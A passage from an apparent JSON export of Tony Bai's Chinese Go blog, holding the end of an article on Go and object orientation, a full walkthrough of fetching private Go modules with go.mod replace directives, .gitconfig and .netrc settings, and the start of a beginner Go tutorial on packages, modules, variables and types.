到这里，来自经典OO语言阵营的小伙伴们是不是已经找到了当初在入门Go语言时“感觉到别扭”的原因了呢！这种“别扭”就在于Go对于OO支持的方式与经典OO语言的差别：秉持着经典OO思维的小伙伴一上来就要建立的继承层次体系，但Go没有，也不需要。\n要转变为正宗的Gopher的OO思维其实也不难，那就是“prefer接口，prefer组合，将习惯了的is-a思维改为has-a思维”。\n六. 小结 是时候给出一些结论性的观点了：\nGo支持OO，只是用的不是经典OO的语法和带层次的类型体系； Go支持OO，只是用起来需要换种思维； 在Go中玩转OO的思维方式是：“优先接口、优先组合”。 “Gopher部落”知识星球旨在打造一个精品Go学习和进阶社群！高品质首发Go技术文章，“三天”首发阅读权，每年两期Go语言发展现状分析，每天提前1小时阅读到新鲜的Gopher日报，网课、技术专栏、图书内容前瞻，六小时内必答保证等满足你关于Go语言生态的所有需求！2023年，Gopher部落将进一步聚焦于如何编写雅、地道、可读、可测试的Go代码，关注代码质量并深入理解Go核心技术，并继续加强与星友的互动。欢迎大家加入！\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博(暂不可用)：https://weibo.com/bigwhite20xx 微博2：https://weibo.com/u/6484441286 博客：tonybai.com github: https://github.com/bigwhite 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2023/03/12/is-go-object-oriented/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/is-go-object-oriented-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2023/03/12/is-go-object-oriented\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2023/03/12/is-go-object-oriented\"\u003ehttps://tonybai.com/2023/03/12/is-go-object-oriented\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2022/11/11/go-opensource-13-years/\"\u003eGo语言已经开源13年了\u003c/a\u003e，在近期\u003ca href=\"https://www.tiobe.com/tiobe-index/\"\u003eTIOBE\u003c/a\u003e发布的2023年3月份的编程语言排行榜中，Go再次冲入前十，相较于Go在\u003ca href=\"https://tonybai.com/2022/12/29/the-2022-review-of-go-programming-language\"\u003e2022年底的排名\u003c/a\u003e提升了2个位次：\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"Image 2\" loading=\"lazy\" src=\"/images/wp-content/uploads/is-go-object-oriented-2.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"http://gk.link/a/10AVZ\"\u003e《Go语言第一课》专栏\u003c/a\u003e中关于Go在这两年开始飞起的“预言”也正在逐步成为现实^_^，大家学习Go的热情也在快速提升， \u003ca href=\"http://gk.link/a/10AVZ\"\u003e《Go语言第一课》专栏\u003c/a\u003e的学习的人数年后也快速增加，快突破2w了。\u003c/p\u003e\n\u003cp\u003e很多专栏的订阅者都是第一次接触Go，他们中的很多是来自像Java, Ruby这样的OO(面向对象)语言阵营的，他们学习Go之后的第一个问题便是：\u003cstrong\u003eGo是一门OO语言吗\u003c/strong\u003e？在这篇博文中，我们就来探讨一下。\u003c/p\u003e","title":"Go是一门面向对象编程语言吗"},{"content":"\n本文永久链接 – https://tonybai.com/2023/03/03/the-approach-to-go-get-private-go-module-in-house-part3\n1. 缘起 我们的Go团队这两年完全是按照之前写的《小厂内部私有Go module拉取方案》和《小厂内部私有Go module拉取方案（续）》中的方案搭建的内部拉取私有仓库的基础设施，总体感觉不错，目前也没有什么大问题。\n唯一麻烦一点的，就像《小厂内部私有Go module拉取方案》中提到的，当新增一些用作私有依赖包的repo时，govanityurls的vanity.yml需要手动更新或通过工具自动更新。维护这样一套设施，开发人员肯定不喜欢去做。\n月初一位同事的主机发现无法通过内部的GOPROXY server拉取私有module，虽然事后证明这很是网络层面的问题，但也引发我的思考，在统一代理之外是否有拉取私有module的补充方案？恰好前些天，组内一童鞋分享了Rust直接用内部自建的gitlab上的一个repo作为依赖的方法，只需要在cargo.toml中做简单配置：\nfoo-rs = {git = \u0026quot;http://192.168.10.10/ard/foo-rs\u0026quot;, branch = \u0026quot;master\u0026quot;} 基于go module目前的机制是否可以支持类似Rust这种相对优雅的方案呢？本着当时对go.mod配置与go get的认知一时没有想出来:(。不过心中也大致给这样的方案画出了一个框框：\n基于现有go.mod语法 改动最小 用go.mod而非go.work，这样可提交到代码库做版本管理，所有组员均可使用 我想到了基于go mod replace来做，当然需要对replace做一些扩展，于是我向go官方项目提交了proposal！\n2. 提案(proposal) 提案的核心就是扩展go mod的replace语法，让replace的target支持一个remote的vcs仓库，下面是一个例子：\nmodule github.com/bigwhite/demo go 1.20 require ( mycompany.com/go/common v1.1.0 ) replace mycompany.com/go/common v1.1.0 =\u0026gt; 192.168.10.159/ard/go/common v1.1.0 //或 replace mycompany.com/go/common =\u0026gt; 192.168.10.159/ard/go/common //或 replace mycompany.com/go/common =\u0026gt; 192.168.10.159/ard/go/common v1.1.0 //或 replace mycompany.com/go/common v1.1.0 =\u0026gt; 192.168.10.159/ard/go/common 这样我们既可保留我们为私有module自定义的cannoical import paths（如mycompany.com/go/common)，又可以方便基于自建vcs server拉取私有module。\n3. 反转 我的提案提出没两个小时就被close了，我去看了一下详情，seankhliao回复：Go现在已经支持这种用法，并给出一个例子：\n192.168.10.159/ard/go/common.git 我不确定seankhliao是否完全理解了我的提案，但他的回复还是让我开始怀疑我是否遗漏了什么。于是我又去重新学习了一下go module的reference以及go cmd的reference，之后脑子中形成了一个待确认的方案。\n当前go.mod的replace指示符语法如下：\nreplace module-path [module-version] =\u0026gt; replacement-path [replacement-version] 其中的replacement-path [replacement-version]构成target部分，目前支持两种target：\n一种是module path，如：\nreplace example.com/othermodule =\u0026gt; example.com/othermodule v1.2.3 另外一种是本地文件系统中的路径：\nreplace example.com/othermodule =\u0026gt; ../othermodule 需要注意的是当replacement-path使用module path时必须带有replacement-version，下面的例子会导致go编译或运行命令报错：\nreplace example.com/othermodule v1.2.3 =\u0026gt; example.com/othermodule 以前我总以为当replacement-path使用module path时，这个module path必须是那种带有域名的repo地址，根据seankhliao的例子，这块似乎也可以是一个诸如：“192.168.10.159/ard/go/common.git”的remote repo，如果是这样，那么即便不使用统一的内部go proxy，我们也可以直接从内部的自建vcs server上拉取private module了，下面我们就来验证一下这个方案。\n4. 方案的确认试验 下面是试验环境的拓扑：\n这个拓扑与带有统一go proxy代理的方案完全不同：\n对于外部的public module，我们采用外部public go proxy(比如：goproxy.io或goproxy.cn等)去拉取； 对于托管在内部vcs server的private module，我们采用直连(direct)方式拉取； 对于托管在github上的private module(使用private repo)，我们也采用直连(direct)方式拉取。 显然我们的新方案需要解决的是后面两种情况。\n为了更直观地说明新方案，我们假设我们的一个go应用依赖了三个private包，他们的情况分别是：\nprivatemodule1 repo放在内部gitlab上，其自定义cannoical import path为：mycompany.com/go/privatemodule1，实际地址为http://10.10.30.30/ard/incubators/privatemodule1.git\n$tree -L 1 -F privatemodule1 privatemodule1 ├── go.mod ├── privatemodule1.go └── README.md $cat privatemodule1/go.mod module mycompany.com/go/privatemodule1 go 1.19 $cat privatemodule1/privatemodule1.go package privatemodule1 import \u0026quot;fmt\u0026quot; func F() { fmt.Println(\u0026quot;invoke F of mycompany.com/go/privatemodule1\u0026quot;) } privatemodule2 repo放在github的private repo中，其自定义cannoical import path为：mycompany.com/go/privatemodule2，实际地址为https://github.com/bigwhite/privatemodule2\n$tree -L 1 -F privatemodule2 privatemodule2 ├── go.mod ├── privatemodule2.go └── README.md $cat privatemodule2/go.mod module mycompany.com/go/privatemodule2 go 1.19 $cat privatemodule2/privatemodule2.go package privatemodule2 import \u0026quot;fmt\u0026quot; func F() { fmt.Println(\u0026quot;invoke F of mycompany.com/go/privatemodule2\u0026quot;) } privatemodule3 repo放在github的private repo中，如：github.com/bigwhite/privatemodule3，但无自定义cannoical import path。\n$tree -L 1 -F privatemodule3 privatemodule3 ├── go.mod ├── privatemodule3.go └── README.md $cat privatemodule3/go.mod module github.com/bigwhite/privatemodule3 go 1.19 $cat privatemodule3/privatemodule3.go package privatemodule3 import \u0026quot;fmt\u0026quot; func F() { fmt.Println(\u0026quot;invoke F of github.com/bigwhite/privatemodule3\u0026quot;) } 这三种情况应该可以覆盖日常Go开发的绝大多数private module依赖的情况了。下面我们分别看看如何获取这三类private module，我们先从最简单的privatemodule3开始。\n1) 拉取github.com/bigwhite/privatemodule3 我们先建立依赖privatemodule3的go app：\n$cat go.mod module app go 1.19 $cat app.go import ( \u0026quot;github.com/bigwhite/privatemodule3\u0026quot; ) func main() { privatemodule3.F() } 此时GOPROXY和GOPRIVATE的设置为：\n$echo $GOPROXY https://goproxy.io|direct $echo $GOPRIVATE github.com/bigwhite/privatemodule3 这样可以保证go工具链通过直连方式去拉取privatemodule3。\n当我们试图用go mod tidy命令去拉取privatemodule3时，你可能会遇到如下错误：\n$go mod tidy go: finding module for package github.com/bigwhite/privatemodule3 app imports github.com/bigwhite/privatemodule3: module github.com/bigwhite/privatemodule3: git ls-remote -q origin in /home/tonybai/go/pkg/mod/cache/vcs/2caadc923a575b0b63719d0d8b47b67a3559b4dbae40951b750f317880784ada: exit status 128: fatal: unable to access 'https://github.com/bigwhite/privatemodule3/': GnuTLS recv error (-54): Error in the pull function. 这是因为go get默认使用https方式拉取repo。如果你没有配置.netrc的方式访问github.com或没有将https请求转换为git+ssh请求，那么即便你在github的personal profile下配置了SSH key，你仍然会遇到上述错误！\n解决方法有两种：\n如果你已经在github personal profile中配置了SSH key，那么你可以通过.gitconfig将https请求替换为git+ssh请求 配置方式为在~/.gitconfig中添加如下内容：\n[url \u0026quot;git@github.com:\u0026quot;] insteadOf = https://github.com/ 如果你操作github仓库时想使用的personal access token，那么你可以通过配置~/.netrc通过github对go get https请求的鉴权 配置方式为在~/.netrc中添加如下内容：\nmachine github.com login user password your_personal_access_token 上面两种方式二选一即可，无论是哪种方式，配置ok后，再执行go mod tidy，你将成功拉取github.com上面的私有module，就像下面示例中输出的结果那样：\n$go mod tidy go: finding module for package github.com/bigwhite/privatemodule3 go: downloading github.com/bigwhite/privatemodule3 v0.0.0-20230227061700-3762215e798f go: found github.com/bigwhite/privatemodule3 in github.com/bigwhite/privatemodule3 v0.0.0-20230227061700-3762215e798f $go run app.go invoke F of github.com/bigwhite/privatemodule3 在下面的示例中，我们针对github.com上的私有module将使用.gitconfig将https请求替换为git+ssh的方式，之后就不赘述了。\n注：在国内通过https请求访问github.com时，连通率较低。而git+ssh的方式，则一般都能拉取成功。\n2) 拉取位于github.com上的私有module：mycompany.com/go/privatemodule2 接下来，我们来拉取位于github.com上的私有module：privatemodule2，与第一种情况不同的是，这次privatemodule2有了自己的cannoical import path，即mycompany.com/go/privatemodule2。我们来看看app.go的变化：\n// app.go package main import ( \u0026quot;github.com/bigwhite/privatemodule3\u0026quot; \u0026quot;mycompany.com/go/privatemodule2\u0026quot; ) func main() { privatemodule3.F() privatemodule2.F() } 我们将mycompany.com/go和privatemodule2加入到GOPRIVATE中：\n$echo $GOPRIVATE github.com/bigwhite/privatemodule3,mycompany.com/go,github.com/bigwhite/privatemodule2 此时，由于mycompany.com这个域名并不存在(假设不存在)，所以你执行go mod tidy拉取privatemodule2时势必会出现类似下面的错误：\n$go mod tidy go: finding module for package mycompany.com/go/privatemodule2 app imports mycompany.com/go/privatemodule2: cannot find module providing package mycompany.com/go/privatemodule2: unrecognized import path \u0026quot;mycompany.com/go/privatemodule2\u0026quot;: https fetch: Get \u0026quot;https://mycompany.com/go/privatemodule2?go-get=1\u0026quot;: dial tcp 52.5.196.34:443: i/o timeout 我们的方案是使用replace指示符将mycompany.com/go/privatemodule2替换为私有repo：github.com/bigwhite/privatemodule2：\n//go.mod module app go 1.19 require ( github.com/bigwhite/privatemodule3 v0.0.0-20230227061700-3762215e798f mycompany.com/go/privatemodule2 v1.0.0 ) replace mycompany.com/go/privatemodule2 v1.0.0 =\u0026gt; github.com/bigwhite/privatemodule2 v0.0.0-20230227061454-a2de3aaa7b27 前面提到过replace的target如果使用module path，其必须带上replacement version，那么这里的v0.0.0-20230227061454-a2de3aaa7b27是从何而来的呢？这个的确是一个比较烦的事情，不过我们可以通过go list来获取：\n$go list -m github.com/bigwhite/privatemodule2@latest github.com/bigwhite/privatemodule2 v0.0.0-20230227061454-a2de3aaa7b27 注：如果将来privatemodule2有了tag，那么我们就不需使用伪版本号来作为replacement version了。另外这里require中的privatemodule2使用的v1.0.0是一个虚拟的版本号，只是为了满足go.mod的语法要求，真正的版本是replacement version。\n接下来的事情就与预期的一致了：\n$go mod tidy go: downloading github.com/bigwhite/privatemodule2 v0.0.0-20230227061454-a2de3aaa7b27 $go run app.go invoke F of github.com/bigwhite/privatemodule3 invoke F of mycompany.com/go/privatemodule2 3) 拉取位于内部gitlab上的私有module：mycompany.com/go/privatemodule1 最后，我们来拉取位于内部gitlab上的私有module：privatemodule1，与第两种情况相同的是，这次privatemodule1也有自己的cannoical import path，即mycompany.com/go/privatemodule1。我们来看看app.go的变化：\n// app.go package main import ( \u0026quot;github.com/bigwhite/privatemodule3\u0026quot; \u0026quot;mycompany.com/go/privatemodule2\u0026quot; \u0026quot;mycompany.com/go/privatemodule1\u0026quot; ) func main() { privatemodule3.F() privatemodule2.F() privatemodule1.F() } 针对内部的gitlab vcs server，我们可以简单的使用.netrc中配置personal access token的方式来使用https请求，配置方法见上面。\ngo.mod变为：\nmodule app go 1.19 require ( github.com/bigwhite/privatemodule3 v0.0.0-20230227061700-3762215e798f mycompany.com/go/privatemodule1 v1.0.0 mycompany.com/go/privatemodule2 v1.0.0 ) replace ( mycompany.com/go/privatemodule1 v1.0.0 =\u0026gt; 10.10.30.30/ard/incubators/privatemodule1.git v0.0.0-20230227061032-c4a6ea813d1a mycompany.com/go/privatemodule2 v1.0.0 =\u0026gt; github.com/bigwhite/privatemodule2 v0.0.0-20230227061454-a2de3aaa7b27 ) 我们需要将10.10.30.30加入到GOPRIVATE中，这样可以提高获取效率(否则go get会先尝试通过go proxy server获取)：\n$echo $GOPRIVATE github.com/bigwhite/privatemodule3,mycompany.com/go,10.10.30.30,github.com/bigwhite/privatemodule2 这里还需要明确一下privatemodule1的伪版本号(v0.0.0-20230227061032-c4a6ea813d1a)的获取方法：\n$go list -m 10.10.30.30/ard/incubators/privatemodule1.git@latest 10.10.30.30/ard/incubators/privatemodule1.git v0.0.0-20230227061032-c4a6ea813d1a 注：如果你的gitlab server没有开启https，那么需要设置export GOINSECURE=10.10.30.30。\n接下来的事情就也与预期的一致了：\n$go mod tidy go: downloading 10.10.30.30/ard/incubators/privatemodule1.git v0.0.0-20230227061032-c4a6ea813d1a $go run app.go invoke F of github.com/bigwhite/privatemodule3 invoke F of mycompany.com/go/privatemodule2 invoke F of mycompany.com/go/privatemodule1 5. 小结 综上，基于当前的go.mod的语法，我们可以实现各种情况下的private module拉取，而无需使用统一的内部go proxy服务。不过，从整个过程来看，这个方案仍然不完美，主要是因为replacement部分使用的是module path，这要求必须搭配replacement version，而这个replacement version的获得方式比较麻烦，尤其是在没有目标repo尚没有tag的情况下。\n不过该方案可作为统一go proxy服务方案之外的补充方案。\nGo官方也还会继续改进对private module拉取的支持，目前有两个issue可继续跟踪：\nproposal: cmd/go: allow GOPRIVATE to provide source repository URI – https://github.com/golang/go/issues/45611 proposal: cmd/go: extend syntax go.mod to allow overriding fetch protocol – https://github.com/golang/go/issues/39536 本文涉及代码可以在这里下载 – https://github.com/bigwhite/experiments/blob/master/private-modules\n6. 参考资料 https://go.dev/ref/mod#private-module-proxy-direct https://pkg.go.dev/cmd/go#hdr-Remote_import_paths https://go.dev/doc/faq#git_https “Gopher部落”知识星球旨在打造一个精品Go学习和进阶社群！高品质首发Go技术文章，“三天”首发阅读权，每年两期Go语言发展现状分析，每天提前1小时阅读到新鲜的Gopher日报，网课、技术专栏、图书内容前瞻，六小时内必答保证等满足你关于Go语言生态的所有需求！2023年，Gopher部落将进一步聚焦于如何编写雅、地道、可读、可测试的Go代码，关注代码质量并深入理解Go核心技术，并继续加强与星友的互动。欢迎大家加入！\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博(暂不可用)：https://weibo.com/bigwhite20xx 微博2：https://weibo.com/u/6484441286 博客：tonybai.com github: https://github.com/bigwhite 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2023/03/03/the-approach-to-go-get-private-go-module-in-house-part3/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/the-approach-to-go-get-private-go-module-in-house-part3-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2023/03/03/the-approach-to-go-get-private-go-module-in-house-part3\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2023/03/03/the-approach-to-go-get-private-go-module-in-house-part3\"\u003ehttps://tonybai.com/2023/03/03/the-approach-to-go-get-private-go-module-in-house-part3\u003c/a\u003e\u003c/p\u003e\n\u003ch2 id=\"1-缘起\"\u003e1. 缘起\u003c/h2\u003e\n\u003cp\u003e我们的Go团队这两年完全是按照之前写的\u003ca href=\"https://tonybai.com/2021/09/03/the-approach-to-go-get-private-go-module-in-house\"\u003e《小厂内部私有Go module拉取方案》\u003c/a\u003e和\u003ca href=\"https://tonybai.com/2022/06/18/the-approach-to-go-get-private-go-module-in-house-part2\"\u003e《小厂内部私有Go module拉取方案（续）》\u003c/a\u003e中的方案搭建的内部拉取私有仓库的基础设施，总体感觉不错，目前也没有什么大问题。\u003c/p\u003e","title":"小厂内部私有Go module拉取方案3"},{"content":"\n本文永久链接 – https://tonybai.com/2023/02/23/learn-go-in-10-min\n本文旨在带大家快速入门Go语言，期望小伙伴们在花费十分钟左右通读全文后能对Go语言有一个初步的认知，为后续进一步深入学习Go奠定基础。\n本文假设你完全没有接触过Go，你可能是一名精通其他编程语言的程序员，也可能是毫无编程经验、刚刚想转行为码农的热血青年。\n编程简介 编程就是生产可在计算机上执行的程序的过程(如下图)。在这个过程中，程序员是“劳动力”，编程语言是工具，可执行的程序是生产结果。而Go语言就是程序员在编程生产过程中使用的一种优秀生产工具。\n作为“劳动力”的程序员在这个过程中要做的就是使用某种编程语言作为生产工具，将事先设计好的执行逻辑组织和表达出来，这与一个作家将其大脑中设计好的故事情节用人类语言组织和书写在纸上的过程颇为类似(如下图)。\n通过这个类比来看，学习一门编程语言，就好比学习一门人类语言，其词汇和语法将是我们的主要学习内容，本文就将围绕Go语言的主要“词汇”和语法形式进行快速说明。\nGo简介 Go语言是由Google公司的三位大神级程序员Robert Griesemer、Rob Pike和Ken Thompson在2007年共同开发的一种新的后端编程语言，2009年，Go语言宣布开源。\nGo语言的特点是简单易学、静态类型、编译速度快，运行效率高，代码简洁，并且原生支持并发编程。它还支持自动内存管理，可以让开发者更加专注于编程本身，而不用担心内存泄漏的问题。此外，Go语言还支持多核处理器，可以更好地利用多核处理器的优势，提高程序的运行效率。\n经过十多年的发展，Go语言现在已经成为一种流行的编程语言，它可以用于开发各种应用程序，包括Web应用、网络服务、系统管理工具、移动应用、游戏开发、数据库管理等。Go语言常用于构建大型分布式系统，以及构建高性能的服务器端应用程序。Go为当前的云原生计算时代开发了一批“杀手级”应用，包括Docker、Kubernetes、Prometheus、InfluxDB、Cilium等。\n安装Go Go是静态语言，需要先编译，再执行，因此在开发Go程序之前，我们首先需要安装Go编译器以及相关工具链。安装的步骤很简单：\n从Go官网下载最新版本的Go语言安装包 – https://go.dev/dl/\n解压安装包，并将其复制到您想要安装的位置，例如：/usr/local/go；如果是Windows、MacOS平台，也可以下载图形化安装的安装包；\n设置环境变量，将Go语言的安装路径添加到PATH变量中；\n打开终端，输入go version，检查Go语言是否安装成功。如输出类似下面的内容，则表明安装成功！\n$go version go version go1.20 darwin/amd64\n注：位于中国大陆的开发者们还需要一个额外的设置：export GOPROXY=’https://goproxy.cn’或将这个设置置于shell配置文件(比如.bashrc)中并使之生效。\n第一个Go程序：Hello World 建立一个新目录，并在其中创建新文件helloworld.go，用任意编辑器打开helloworld.go，输入下面Go源码：\n//helloworld.go package main import \u0026quot;fmt\u0026quot; func main() { fmt.Println(\u0026quot;Hello, World!\u0026quot;) } Go支持直接运行某个源文件：\n$go run helloworld.go Hello, World! 但通常我们会先编译这个源文件(helloworld.go)，生成可执行的二进制程序(./helloworld)，然后再运行它：\n$go build -o helloworld helloworld.go $./helloworld Hello, World! Go包(package) Go包是Go语言中的一种封装技术，它可以将一组Go语言源文件组织成一个可重用的单元，以便在其他Go程序中使用。同属于一个Go包的所有源文件放在一个目录下，并且按惯例该目录的名字与包名相同。以Go标准库的io包为例，其包内的源文件列表如下：\n// $GOROOT/src/io目录下的文件列表： io.go multi.go pipe.go Go包也是Go编译的基本单元，Go编译器可以将包编译为可执行文件(如何该包为main包，且包含main函数实现)，也可以编译为可重用的库文件(.a)。\n包声明 Go包的声明通常是在每个Go源文件的开头，使用关键字package进行声明，例如：\n// mypackage.go package mypackage ... ... package的名字按惯例通常为全小写的单个单词或缩略词，比如io、net、os、fmt、strconv、bytes等。\n导入Go包 如果要复用已有的Go包，我们需要在源码中导入该包。要导入Go包，可以使用import关键字，例如：\nimport \u0026quot;fmt\u0026quot; // 导入标准库的fmt包 import \u0026quot;github.com/spf13/pflag\u0026quot; // 导入spf13开源的pflag包 import _ \u0026quot;net/http/pprof\u0026quot; // 导入标准库net/http/pprof包， // 但不显式使用该包中的类型、变量、函数等标识符 import myfmt \u0026quot;fmt\u0026quot; // 将导入的包重命名为myfmt Go模块 Go模块(module)是Go语言在1.11版本中引入的新特性，Go module是一组相关的Go package的集合，这个包集合被当做一个独立的单元进行统一版本管理。Go module这种新的依赖管理机制可以让开发者更轻松地管理Go语言项目的依赖关系，并且可以更好地支持多版本的依赖管理。在具有实用价值的Go项目中，我们都会使用Go module进行依赖管理。Go module有版本之分，Go module的版本依赖关系是建立在对语义版本(semver)严格遵守的前提下的。\nGo使用go.mod文件来精确记录依赖关系要求，下面是go.mod中依赖关系的操作方法：\n$go mod init demo // 创建一个module root为demo的go.mod $go mod init github.com/bigwhite/mymodule // 创建一个module root为github.com/bigwhite/mymodule的go.mod $go get github.com/bigwhite/foo@latest // 向go.mod中添加一个依赖包github.com/bigwhite/foo的最新版本 $go get github.com/bigwhite/foo // 与上面命令等价 $go get github.com/bigwhite/foo@v1.2.3 // 显式指定要获取v1.2.3版本 $go mod tidy // 自动添加缺失的依赖包和清理不用的依赖包 $go mod verify // 确认所有依赖都有效 Go最小项目结构 Go官方并没有规定Go项目的标准结构布局，下面是Go核心团队技术负责人Russ Cox推荐的Go最小项目结构：\n// 在Go项目仓库根路径下 - go.mod - LICENSE - README - xx.go - yy.go ... ... 或\n// 在Go项目仓库根路径下 - go.mod - LICENSE - README - package1/ - package1.go - package2/ - package2.go ... ... 变量 Go语言有两种变量声明方式：\n使用var关键字 使用var关键字进行声明的方式适合所有场合。\nvar a int // 声明一个int型变量a，初值为0 var b int = 5 // 声明一个int型变量b，初值为5 var c = 6 // Go会根据右值自动为变量c的赋予默认类型，默认的整型为int var ( // 我们可以将变量声明统一放置在一个var块中，这与上面的声明方式等价 a int b int = 5 c = 6 ) 注：Go变量声明采用变量在前，类型在后的方式，这与C、C++、Java等静态编程语言有较大不同。\n使用短声明方式声明变量\na := 5 // 声明一个变量a，Go会根据右值自动为变量a的赋予默认类型，默认的整型为int s := \u0026ldquo;hello\u0026rdquo; // 声明一个变量s，Go会根据右值自动为变量s的赋予默认类型，默认的字符串类型为string\n注：这种声明方式仅限于在函数或方法内使用，不能用于声明包级变量或全局变量。\n常量 Go语言的常量使用const关键字进行声明：\nconst a int // 声明一个int型常量a，其值为0 const b int = 5 // 声明一个int型常量b，其值为5 const c = 6 // 声明一个常量c，Go会根据右值自动为常量c的赋予默认类型，默认的整型为int const s = \u0026quot;hello\u0026quot; // 声明一个常量s，Go会根据右值自动为常量s的赋予默认类型，默认的字符串类型为string const ( // 我们可以将常量声明统一放置在一个const块中，这与上面的声明方式等价 a int b int = 5 c = 6 s = \u0026quot;hello\u0026quot; ) 类型 Go原生内置了多种基本类型与复合类型。\n基本类型 Go原生支持的基本类型包括布尔型、数值类型（整型、浮点型、复数类型）、字符串类型，下面是一些示例：\nbool // 布尔类型，默认值false uint // 架构相关的无符号整型，64位平台上其长度为8字节 int // 架构相关的有符号整型，64位平台上其长度为8字节 uintptr // 架构相关的用于表示指针值的类型，它是一个无符号的整数，大到足以存储一个任意类型的指针的值 uint8 // 架构无关的8位无符号整型 uint16 // 架构无关的16位无符号整型 uint32 // 架构无关的32位无符号整型 uint64 // 架构无关的64位无符号整型 int8 // 架构无关的8位有符号整型 int16 // 架构无关的16位有符号整型 int32 // 架构无关的32位有符号整型 int64 // 架构无关的64位有符号整型 byte // uint8类型的别名 rune // int32类型的别名，用于表示一个unicode字符(码点) float32 // 单精度浮点类型，满足IEEE-754规范 float64 // 双精度浮点类型，满足IEEE-754规范 complex64 // 复数类型，其实部和虚部均为float32浮点类型 complex128 // 复数类型，其实部和虚部均为float64浮点类型 string // 字符串类型，默认值为\u0026quot;\u0026quot; 我们可以使用预定义函数complex来构造复数类型，比如：complex(1.0, -1.4)构造的复数为1 – 1.4i。\n复合类型 Go原生支持的复合类型包括数组（array）、切片(slice)、结构体(struct)、指针(pointer)、函数(function)、接口(interface)、map、channel。\n数组类型 数组类型是一组同构类型元素组成的连续体，它具有固定的长度(length)，不能动态伸缩：\n[8]int // 一个元素类型为int、长度为16的数组类型 [32]byte // 一个元素类型为byte、长度为32的数组类型 [2]string // 一个元素类型为string、长度为2的数组类型 [N]T // 一个元素类型为T、长度为N的数组类型 通过预定义函数len可以得到数组的长度：\nvar a = [8]int{11, 12, 13, 14, 15, 16, 17, 18} println(len(a)) // 8 通过数组下标(从0开始)可以直接访问到数组中的任意元素：\nprintln(a[0]) // 11 println(a[2]) // 13 println(a[7]) // 18 Go支持声明多维数组，即数组的元素类型依然为数组类型：\n[2][3][5]float64 // 一个多维数组类型，等价于[2]([3]([5]float64)) 切片类型 切片类型与数组类型类似，也是同构类型元素的连续体。不同的是切片类型的长度可变，我们在声明切片类型时无需传入长度属性：\n[]int // 一个元素类型为int的切片类型 []string // 一个元素类型为string的切片类型 []T // 一个元素类型为T的切片类型 [][][]float64 // 多维切片类型，等价于[]([]([]float64)) 通过预定义函数len可以得到切片的当前长度：\nvar sl = []int{11, 12} // 一个元素类型为int的切片，其长度(len)为2, 其值为[11 12] println(len(sl)) // 2 切片还有一个属性，那就是容量，通过预定义函数cap可以获得其容量值：\nprintln(cap(sl)) // 2 和数组不同，切片可以动态伸缩，Go会根据元素的数量动态对切片容量进行扩展。我们可以通过append函数向切片追加元素：\nsl = append(sl, 13) // 向sl中追加新元素，操作后sl为[11 12 13] sl = append(sl, 14) // 向sl中追加新元素，操作后sl为[11 12 13 14] sl = append(sl, 15) // 向sl中追加新元素，操作后sl为[11 12 13 14 15] println(len(sl), cap(sl)) // 5 8 追加后切片容量自动扩展为8 和数组一样，切片也是使用下标直接访问其中的元素：\nprintln(sl[0]) // 11 println(sl[2]) // 13 println(sl[4]) // 15 结构体类型 Go的结构体类型是一种异构类型字段的聚合体，它提供了一种通用的、对实体对象进行聚合抽象的能力。下面是一个包含三个字段的结构体类型：\nstruct { name string age int gender string } 我们通常会给这样的一个结构体类型起一个名字，比如下面的Person：\ntype Person struct { name string age int gender string } 下面声明了一个Person类型的变量：\nvar p = Person { name: \u0026quot;tony bai\u0026quot;, age: 20, gender: \u0026quot;male\u0026quot;, } 我们可以通过p.FieldName来访问结构体中的字段：\nprintln(p.name) // tony bai p.age = 21 结构体类型T的定义中可以包含类型为*T的字段成员，但不能递归包含T类型的字段成员：\ntype T struct { ... ... p *T // ok t T // 错误：递归定义 } Go结构体亦可以在定义中嵌入其他类型：\ntype F struct { ... ... } type MyInt int type T struct { MyInt F ... ... } 嵌入类型的名字将作为字段名：\nvar t = T { MyInt: 5, F: F { ... ... }, } println(t.MyInt) // 5 Go支持不包含任何字段的空结构体：\nstruct{} type Empty struct{} // 一个空结构体类型 空结构体类型的大小为0，这在很多场景下很有用(省去了内存分配的开销)：\nvar t = Empty{} println(unsafe.Sizeof(t)) // 0 指针类型 int类型对应的指针类型为*int，推而广之T类型对应的指针类型为*T。和非指针类型不同，指针类型变量存储的是内存单元的地址，*T指针类型变量的大小与T类型大小无关，而是和系统地址的表示长度有关。\n*int // 一个int指针类型 *[4]byte // 一个[4]byte数组指针类型 var a = 6 var p *T // 声明一个T类型指针变量p，默认值为nil p = \u0026amp;a // 用变量a的内存地址给指针变量p赋值 *p = 7 // 指针解引用，通过指针p将变量a的值由6改为7 n := new(int) // 预定义函数返回一个*int类型指针 arr := new([4]int) // 使用预定义函数new分配一个[4]int数组并返回一个*[4]int类型指针 map类型 map是Go语言提供的一种抽象数据类型，它表示一组无序的键值对，下面定义了一组map类型：\nmap[string]int // 一个key类型为string，value类型为int的map类型 map[*T]struct{ x, y float64 } // 一个key类型为*T，value类型为struct{ x, y float64 }的map类型 